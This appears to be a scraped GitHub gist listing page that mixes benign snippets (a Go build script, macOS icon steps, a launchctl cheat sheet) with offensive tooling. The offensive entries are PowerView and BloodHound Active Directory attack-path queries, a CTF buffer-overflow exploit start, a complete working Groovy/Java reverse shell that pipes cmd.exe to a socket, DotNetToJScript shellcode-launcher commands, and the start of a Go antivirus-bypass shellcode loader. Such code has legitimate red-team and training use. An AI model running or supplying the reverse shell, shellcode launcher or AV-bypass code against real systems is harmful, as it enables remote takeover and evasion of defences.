Skip to content

Instantly share code, notes, and snippets.

@HarmJ0y
HarmJ0y / PowerView-2.0-tricks.ps1
Last active March 30, 2025 05:58
PowerView-2.0 tips and tricks
# NOTE: the most updated version of PowerView (http://www.harmj0y.net/blog/powershell/make-powerview-great-again/)
# has an updated tricks Gist at https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
# get all the groups a user is effectively a member of, 'recursing up'
Get-NetGroup -UserName <USER>
# get all the effective members of a group, 'recursing down'
Get-NetGroupMember -GoupName <GROUP> -Recurse
# get the effective set of users who can administer a server
@theGeekPirate
theGeekPirate / buildAllProduction.sh
Last active April 5, 2024 12:58
Builds a Go production (debug info stripped) binary for all supported platforms (excluding mobile)
#!/bin/sh
#From https://golang.org/doc/install/source#environment
platforms=(aix android darwin dragonfly freebsd illumos js linux netbsd openbsd plan9 solaris windows)
arches=(386 amd64 arm arm64 mips mipsle mips64 mips64le ppc64 ppc64le s390x wasm)
#.go file to build
test "$1" && target="$1"
if ! test "$target"; then
@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@intrd
intrd / get_started_exploit_pwntools.py
Last active February 17, 2018 18:28
Buffer overflow using Pwntools to exploit rev200-get_started @ 3dsctf-2k16
## Buffer overflow using Pwntools to exploit rev200-get_started @ 3dsctf-2k16
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
from pwn import *
context(arch = 'i386', os = 'linux', endian = 'little', word_size = 32, log_level = 'debug')
#context(arch = 'i386', os = 'linux', endian = 'little', word_size = 32)
binary = './get_started'
@jamieweavis
jamieweavis / macos-app-icon.md
Last active March 31, 2025 00:12
How to create an .icns macOS app icon
@masklinn
masklinn / cheatsheet.md
Last active April 8, 2025 13:27
launchctl/launchd cheat sheet

I've never had great understanding of launchctl but the deprecation of the old commands with launchctl 2 (10.10) has been terrible as all resources only cover the old commands, and documentation for Apple utilities is generally disgracefully bad, with launchctl not dissembling.

Mad props to https://babodee.wordpress.com/2016/04/09/launchctl-2-0-syntax/ which contains most details

domains

Internally, launchd has several domains, but launchctl 1 would only ask for service names,

@magisterquis
magisterquis / demoshell.go
Last active December 30, 2024 23:16
Beaconing shell, useful for demos. Catch it with netcat.
// demoshell is a nifty beaconing shell useful for demos
package main
/*
* demoshell.go
* Simple reverse shell used in demos
* By J. Stuart McMurray
* Created 20180331
* Last Modified 20180331
*/
1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library C:\Tools\shellcodeLauncher.cs
2. DotNetToJScript.exe --lang=JScript --ver=v4 -c ShellCodeLauncher.Program C:\Tools\shellcodeLauncher.dll
@jeffmcjunkin
jeffmcjunkin / gist:7b4a67bb7dd0cfbfbd83768f3aa6eb12
Last active January 27, 2025 07:01
Useful Cypher queries for BloodHound
MATCH (u:User)-[r:AdminTo|MemberOf*1..]->(c:Computer
RETURN u.name
That’ll return a list of users who have admin rights on at least one system either explicitly or through group membership
---------------
MATCH
(U:User)-[r:MemberOf|:AdminTo*1..]->(C:Computer)
WITH
U.name as n,
@JumpsecLabs
JumpsecLabs / main.go
Created June 20, 2019 10:56
JUMPSEC Antivirus Bypass
package main
import (
"encoding/hex"
"fmt"
"os"
shellcode "github.com/brimstone/go-shellcode"
)